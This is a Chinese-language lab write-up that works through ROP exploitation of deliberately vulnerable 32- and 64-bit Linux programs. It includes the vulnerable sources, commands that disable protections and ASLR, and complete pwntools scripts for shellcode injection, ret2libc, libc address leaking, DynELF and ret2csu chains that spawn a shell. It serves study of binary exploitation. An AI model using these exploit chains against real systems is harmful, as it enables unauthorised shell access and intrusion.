这里将《一步一步学 ROP 之 Linux_x86 篇》和《一步一步学 ROP 之 Linux_64 篇》中的例子做一遍并记录下来。
0x01 32位ROP
level1——栈上执行shellcode
level1主要演示32位程序中最基本的栈溢出利用,可直接在栈上写shellcode并执行。
level1.c:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); }
int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }
|
使用如下指令编译:
1
| gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c
|
-m32参数指定编译为32位程序;-fno-stack-protector参数指定不开启堆栈溢出保护,即不生成 canary;-z execstack参数指定允许栈执行,即不开启NX。
下面3条指令用来关闭整个linux系统的ASLR保护:
1 2 3
| sudo -s echo 0 > /proc/sys/kernel/randomize_va_space exit
|
运行程序,输入一串字符串然后返回helloworld;file查看是个动态链接的32位文件;checksec查看所有安全编译选项都没有开:
利用pattern计算偏移,可得到溢出偏移量为140:
由此,我们可以构造”A”*140+shellcode_addr即可将shellcode地址覆盖到函数返回地址中,从而让EIP指针寄存器指向shellcode地址让程序执行shellcode。
这里NX没开,我们可以直接往栈上写shellcode,具体为shellcode+”A”*(140-len(shellcode))+shellcode_addr。
shellcode的构造直接用pwntools的asm(shellcraft.sh())来获得。
下面获取写入的shellcode地址。由于ASLR等都关掉,因此现在获取的地址就不会变了。
一个GDB的坑
在GDB中调试level1,r运行,再输入”abcdaaaaa……”让程序崩溃,然后输入x/10s \$esp-144(144是由前面得到的140偏移再加上4字节的ret得到的):
得到shellcode输入位置的偏移为0xffffcf70。
写payload:
1 2 3 4 5 6 7 8 9
| from pwn import *
p = process("./level1")
shellcode = asm(shellcraft.sh()) shellcode_addr = 0xffffcf70 payload = shellcode.ljust(140, "A") + p32(shellcode_addr) p.sendline(payload) p.interactive()
|
然而在运行时会报错,无法正常利用。
填坑
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?
最简单的方法就是开启core dump这个功能。
1 2
| ulimit -c unlimited sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
|
开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。
由此得到shellcode真正的地址0xffffcfb0。
改下payload的地址即可getshell:
1 2 3 4 5 6 7 8 9
| from pwn import *
p = process("./level1")
shellcode = asm(shellcraft.sh()) shellcode_addr = 0xffffcfb0 payload = shellcode.ljust(140, "A") + p32(shellcode_addr) p.sendline(payload) p.interactive()
|
除了本地调试,还有远程部署的方式,如下,将题目绑定到指定端口上:
1
| socat tcp-l:10001,fork exec:./level1
|
payload除了将p = process(“./level1”)改为p = remote(“127.0.0.1”, 10001)外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址:
得到ret地址为0xffffcf00,改下payload即可远程getshell:
level2——ret2libc绕过NX
一样的代码,只不过在用GCC编译开启NX保护即栈不可执行。
1
| gcc -m32 -fno-stack-protector -o level2 level1.c
|
这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps
查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。
既然开启了NX,那一般是利用ROP绕过,这里用的是ret2libc,因为程序level2调用了libc.so,并且libc.so里保存了大量可利用的函数如system()和/bin/sh,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。
下面的问题就变为怎么获取libc中的system和binsh的地址。
因为我们关掉了ASLR,此时system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。
此时我们可以使用GDB进行调试,在main打下断点然后运行,程序在main断点处停下再通过print和find命令来查找system和”/bin/sh”字符串的地址:
system()函数地址为:0xf7e42940
/bin/sh地址为:0xf7f6102b
至于溢出偏移量和level1一样为140。
编写payload:
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
p = process("./level2")
system_addr = 0xf7e42940 binsh_addr = 0xf7f6102b
payload = "A" * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr) p.sendline(payload)
p.interactive()
|
level2——ROP绕过NX和ASLR
在前一小节的基础下,开启在level1中关掉的ASLR:
1 2 3
| sudo -s echo 2 > /proc/sys/kernel/randomize_va_space exit
|
如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的:
此时利用前一小节的办法print和find是获取不到对的地址的,因为每次运行栈的地址都会变化。
如何利用呢?——思路是:先泄漏出libc.so某些函数在内存中的地址,再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,最后执行我们的ret2libc的shellcode。既然栈、libc、堆的地址都是随机的,我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示,Linux内存随机化分布图:
所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。
首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:
除了程序本身的函数之外,还有read@plt()和write@plt()函数可用,但因为程序本身没有调用system()函数因此并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。
既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。
然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。
使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:
当然,除了用ldd命令查看libc.so库,还可以直接用pwntools库的elf.libc来获取libc.so库:
1 2 3
| from pwn import * elf = ELF("./level2") libc = elf.libc
|
编写payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import *
p = remote("127.0.0.1", 10001) elf = ELF("./level2") libc = elf.libc write_plt = elf.plt["write"] write_got = elf.got["write"] vulnerable_function_addr = elf.symbols["vulnerable_function"] print "[*]write() plt: " + hex(write_plt) print "[*]write() got: " + hex(write_got) print "[*]vulnerable_function() addr: " + hex(vulnerable_function_addr)
payload = "A" * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(1) + p32(write_got) + p32(4)
print "[*]sending payload1 to leak write libc addr..." p.sendline(payload) write_addr = u32(p.recv(4))
print "[*]leak write libc addr: " + hex(write_addr)
libc.address = write_addr - libc.symbols["write"] system_addr = libc.symbols["system"] binsh_addr = next(libc.search("/bin/sh")) print "[*]system() addr: " + hex(system_addr) print "[*]binsh addr: " + hex(binsh_addr)
payload2 = "A" * 140 + p32(system_addr) + p32(0xdeedbeef) + p32(binsh_addr)
print "[*]sending payload2 to getshell..." p.sendline(payload2)
p.interactive()
|
另一种是ldd命令查找再赋值libc.so文件到当前目录再加载的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
p = remote("127.0.0.1", 10001)
elf = ELF("./level2")
libc = ELF("libc.so.6")
write_plt = elf.plt["write"] write_got = elf.got["write"] vulnerable_function_addr = elf.symbols["vulnerable_function"] print "[*]write() plt: " + hex(write_plt) print "[*]write() got: " + hex(write_got) print "[*]vulnerable_function() addr: " + hex(vulnerable_function_addr)
payload = "A" * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(1) + p32(write_got) + p32(4)
print "[*]sending payload1 to leak write libc addr..." p.sendline(payload) write_addr = u32(p.recv(4))
print "[*]leak write libc addr: " + hex(write_addr)
system_addr = libc.symbols["system"] + write_addr - libc.symbols["write"] binsh_addr = next(libc.search("/bin/sh")) + write_addr - libc.symbols["write"] print "[*]system() addr: " + hex(system_addr) print "[*]binsh addr: " + hex(binsh_addr)
payload2 = "A" * 140 + p32(system_addr) + p32(0xdeedbeef) + p32(binsh_addr)
print "[*]sending payload2 to getshell..." p.sendline(payload2)
p.interactive()
|
level2——Memory Leak & DynELF
本小节介绍了在不获取目标libc.so的情况下进行ROP攻击。
前面一小节我们用到了目标机器的libc.so才能计算出libc中system()和/bin/sh等的地址来实现攻击,但是如果我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。
这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:
1 2 3 4 5 6
| def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4) print "%#x => %s" % (address, (data or '').encode('hex')) return data
|
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。
要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。
当然,可以在pwntools中直接调用elf.bss()获取.bss段地址:
1 2
| elf = ELF("./level2") bss_base = elf.bss()
|
因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这里我们用ROPgadget来寻找:
编写payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
p = remote("127.0.0.1", 10001)
elf = ELF("./level2") bss_base = elf.bss() plt_write = elf.plt["write"] plt_read = elf.plt["read"] vulfun_addr = elf.symbols["vulnerable_function"] print "[*]write() plt: " + hex(plt_write) print "[*]read() plt: " + hex(plt_read) print "[*]vulnerable_function() addr: " + hex(vulfun_addr) print "[*].bss addr: " + hex(bss_base)
def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4) return data
d = DynELF(leak, elf=ELF('./level2'))
execve_addr = d.lookup('execve', 'libc') print "[*]execve() addr: " + hex(execve_addr)
pop_pop_pop_ret = 0x080484f9 payload2 = "A" * 140 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_base) + p32(8)
payload2 += p32(execve_addr) + p32(vulfun_addr) + p32(bss_base) + p32(0) + p32(0)
p.sendline(payload2) p.sendline("/bin/sh\0")
p.interactive()
|
本地环境中system()函数执行有问题,老得不到shell,换了execve()函数即可:
0x02 64位ROP
level3——64位与32位区别
linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。
level3.c代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
void callsystem() { system("/bin/sh"); }
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); }
int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
|
默认打开系统的ASLR,然后用如下gcc命令编译,即不开启Canary:
1
| gcc -fno-stack-protector level3.c -o level3
|
查看基本功能和安全编译选项开关:
通过GDB的调试,用pattern创建大量字符串发送过去,程序终止在vulnerable_function()函数处:
奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。
因此我们得到了136的偏移地址。
我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针:
1 2 3
| python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload gdb level3 (gdb) r < payload
|
可以看到我们已经成功的控制了PC的指针了。
知道了偏移量,且程序中本来就存在一个callsystem()函数,其会直接调用system(“/bin/sh”),那就简单多了。
编写payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
p = process("./level3")
elf = ELF("./level3") callsystem_addr = elf.symbols["callsystem"] print "[*]callsystem() addr: " + hex(callsystem_addr)
payload = "A" * 136 + p64(callsystem_addr)
print "[*]sending payload..." p.sendline(payload) p.interactive()
|
level4——使用工具寻找gadgets
我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:
ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSa…
rp++: https://github.com/0vercl0k/rp
这些工具功能上都差不多,找一款自己能用的惯的即可。
level4.c代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h>
void systemaddr() { void* handle = dlopen("libc.so.6", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); }
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); }
int main(int argc, char** argv) { systemaddr(); write(1, "Hello, World\n", 13); vulnerable_function(); }
|
编译,因为程序用到了dlopen()函数打开libc,因此需要-ldl参数:
1
| gcc -fno-stack-protector level4.c -o level4 -ldl
|
64位程序,动态链接文件,只开启了NX:
用IDA分析,看到程序在一开始运行时调用systemaddr()函数,该函数会从本程序用到的libc.so.6中获取其中的system()函数地址并打印出来:
和level3一样得到溢出偏移量为136。
下面开始使用工具来寻找合适的Gadgets。
因为我们知道了溢出偏移量和system()函数的地址,剩下的就是通过寄存器给system()函数传参了,而在64位中传参的前六个参数是通过寄存器来实现的,而且system()只接受一个参数,因此我们需要找到一条pop rdi;ret的Gadget来帮助我们实现,这里我们用的是ROPgadget工具帮我们查找:
当然,一般情况下自身的程序可能没有合适的Gadgets,这时我们可以到指定的libc.so文件中找到合适的:
编写payload,有两个Gadget可选,如果用的是libc中的Gadget则需要加上libc的实际地址来计算出该gadget的实际地址,因为libc.address = offset = system_addr - libc.symbols[‘system’] = gadget实际地址 - gadget在libc中地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
p = process("./level4")
elf = ELF("./level4") libc = elf.libc
pop_rdi_ret_libc = 0x0000000000021102
system_addr = int(p.recv(1024).split()[0], 16) print "[*]recv system() addr: " + hex(system_addr)
libc.address = system_addr - libc.symbols["system"] binsh_addr = next(libc.search("/bin/sh"))
pop_rdi_ret_addr = pop_rdi_ret_libc + libc.address print "[*]/bin/sh libc addr: " + hex(binsh_addr)
payload = "A" * 136 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
print "[*]sending payload..." p.sendline(payload) p.interactive()
|
除了前面找的pop rdi;ret这个Gadget,我们还可以找另外一个gadget,因为我们只需调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadgets来构造ROP链,如下:
可以看到pop rax;pop rdi;call rax这个gadget,我们可以先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
p = process("./level4")
elf = ELF("./level4") libc = elf.libc
pop_call_libc = 0x0000000000107419
system_addr = int(p.recv(1024).split()[0], 16) print "[*]recv system() addr: " + hex(system_addr)
libc.address = system_addr - libc.symbols["system"] binsh_addr = next(libc.search("/bin/sh"))
pop_call_addr = pop_call_libc +libc.address print "[*]/bin/sh libc addr: " + hex(binsh_addr)
payload = "A" * 136 + p64(pop_call_addr) + p64(system_addr) + p64(binsh_addr)
print "[*]sending payload..." p.sendline(payload) p.interactive()
|
level5——通用gadgets
因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
level5.c代码如下,相比于level3和level4,去掉了提供system()或其地址的辅助函数:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); }
int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
|
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段,最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。
编译:
1
| gcc -fno-stack-protector -o level5 level5.c
|
基本功能和安全编译开关和前面的一致。
溢出偏移量也和之前的一致,为136。
用objdump -d ./level5观察一下__libc_csu_init()这个函数:
可以看到,利用0x40061a处的代码可以控制rbx、rbp、r12、r13、r14和r15的值,随后利用0x400600处的代码可以将r13的值赋值给rdx、r14的值赋值给rsi、r15的值赋值给edi(这和蒸米原文的顺序是相反的,因为本地编译出来的程序所用的gadget有些许区别,其实这里利用的就是ret2csu技巧),随后就会调用call qword ptr [r12+rbx*8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。
这里列两种getshell的方法。
Method1——只用ret2csu的Gadget
第一种是蒸米讲解的方法,即利用该gadget构造3段payload,分别是泄露write()函数地址、向程序.bss段写入”/bin/sh”和system()或execve()函数地址、传入bss_addr+8处的参数并调用bss_addr地址处的函数即执行system(“/bin/sh”)。
最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import *
p = process('./level5')
elf = ELF('level5') libc = elf.libc main = elf.symbols['main'] bss_addr = elf.bss()
gadget1 = 0x40061a gadget2 = 0x400600
got_write = elf.got['write'] print "[*]write() got: " + hex(got_write) got_read = elf.got['read'] print "[*]read() got: " + hex(got_read)
def csu(rbx, rbp, r12, r13, r14, r15, ret): payload = "A" * 136 payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(gadget2) payload += "B" * 56 payload += p64(ret) return payload
payload1 = csu(0, 1, got_write, 8, got_write, 1, main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n" p.send(payload1) sleep(1)
write_addr = u64(p.recv(8)) print "[*]leak write() addr: " + hex(write_addr)
libc.address = write_addr - libc.symbols['write'] execve_addr = libc.symbols["execve"] print "[*]execve() addr: " + hex(execve_addr)
p.recvuntil("Hello, World\n")
payload2 = csu(0, 1, got_read, 16, bss_addr, 0, main)
print "\n#############sending payload2#############\n" p.send(payload2) sleep(1)
p.send(p64(execve_addr)) p.send("/bin/sh\0") sleep(1)
p.recvuntil("Hello, World\n")
payload3 = csu(0, 1, bss_addr, 0, 0, bss_addr + 8, main)
print "\n#############sending payload3#############\n"
sleep(1) p.send(payload3)
p.interactive()
|
简单说下:
- 由于利用到泄露函数地址和向.bss段写内容的功能,需要先获取write()和read()函数的GOT地址;
- 本次利用的Gadget即ret2csu,定义一个csu函数,用于构造Gadget传参构造payload,其中payload构造是先填充溢出偏移量的字符、然后根据gadget1来设置对应寄存器的值、再调用gadget2、然后填充字符至gadget1的ret指令处、最后调用输入的返回地址即main处让程序继续执行下去;这里注意两个偏移量,第一个136是程序本身溢出到ret的偏移量,而第二个56则是gadget2跑完之后还要继续往下跑到gadget1的ret中去,这中间需要填充56个字节;
- payload1利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止;
- 当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着构造payload2,利用read()将system()或execve()的地址以及“/bin/sh”读入到.bss段内存中;
- 最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
在我的本地环境中,利用system()的exp会得不到shell,换了execve()才可以:
Method2——利用两个Gadgets
其实不用向.bss段写内容再调用,有点繁琐,且同一个Gadget调用了3次。
除了利用ret2csu的gadget,这里还利用到pop rdi|ret这个gadget,主要用于给system(函数的第一个参数赋值并返回往下调用system()函数从而getshell:
基本利用过程就是:通过ret2csu的gadget泄露write()函数的真实地址,通过LibcSearcher或查询的方式得到libc的offset然后计算出system()函数和”/bin/sh”的真实地址,最后利用pop rdi|ret这个gadget构造exp执行system(“/bin/sh”)。
payload如下,下面将改为远程连接的形式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * from LibcSearcher import *
p = remote('192.168.17.155',10001)
elf = ELF('level5')
gadget1 = 0x40061a gadget2 = 0x400600 pop_rdi_ret = 0x0000000000400623
main_addr = elf.symbols['main'] write_got = elf.got['write'] print "[*]main() addr: " + hex(main_addr) print "[*]write() got: " + hex(write_got)
def csu(rbx, rbp, r12, r13, r14, r15, ret): payload = "A" * 136 payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(gadget2) payload += "B" * 56 payload += p64(ret) return payload
payload = csu(0, 1, write_got, 8, write_got, 1, main_addr)
p.recvuntil("Hello, World\n")
print "[*]sending payload to leak write addr..." p.send(payload) sleep(1)
write_addr = u64(p.recv(8)) print "[*]leak write() addr: " + hex(write_addr)
libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') print "[*]system() addr: " + hex(system_addr) print "[*]/bin/sh addr: " + hex(binsh_addr)
p.recvuntil("Hello, World\n")
print "[*]sending exp..." exp = "A" * 136 exp += p64(pop_rdi_ret) exp += p64(binsh_addr) exp += p64(system_addr) p.sendline(exp) p.interactive()
|
当然,也可以不用LibcSearcher这个工具包,而是直接通过查询Libc Database Search的方式自己写地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import *
p = remote('192.168.17.155',10001)
elf = ELF('level5')
gadget1 = 0x40061a gadget2 = 0x400600 pop_rdi_ret = 0x0000000000400623
main_addr = elf.symbols['main'] write_got = elf.got['write'] print "[*]main() addr: " + hex(main_addr) print "[*]write() got: " + hex(write_got)
def csu(rbx, rbp, r12, r13, r14, r15, ret): payload = "A" * 136 payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(gadget2) payload += "B" * 56 payload += p64(ret) return payload
payload = csu(0, 1, write_got, 8, write_got, 1, main_addr)
p.recvuntil("Hello, World\n")
print "[*]sending payload to leak write addr..." p.send(payload) sleep(1)
write_addr = u64(p.recv(8)) print "[*]leak write() addr: " + hex(write_addr)
system_offset = 0x045390 binsh_offset = 0x18cd57 write_offset = 0x0f72b0 libc_base = write_addr - write_offset system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset print "[*]system() addr: " + hex(system_addr) print "[*]/bin/sh addr: " + hex(binsh_addr)
p.recvuntil("Hello, World\n")
print "[*]sending exp..." exp = "A" * 136 exp += p64(pop_rdi_ret) exp += p64(binsh_addr) exp += p64(system_addr) p.sendline(exp) p.interactive()
|
getshell:
0x03 参考
一步一步学ROP之Linux_x86篇
一步一步学ROP之Linux_x64篇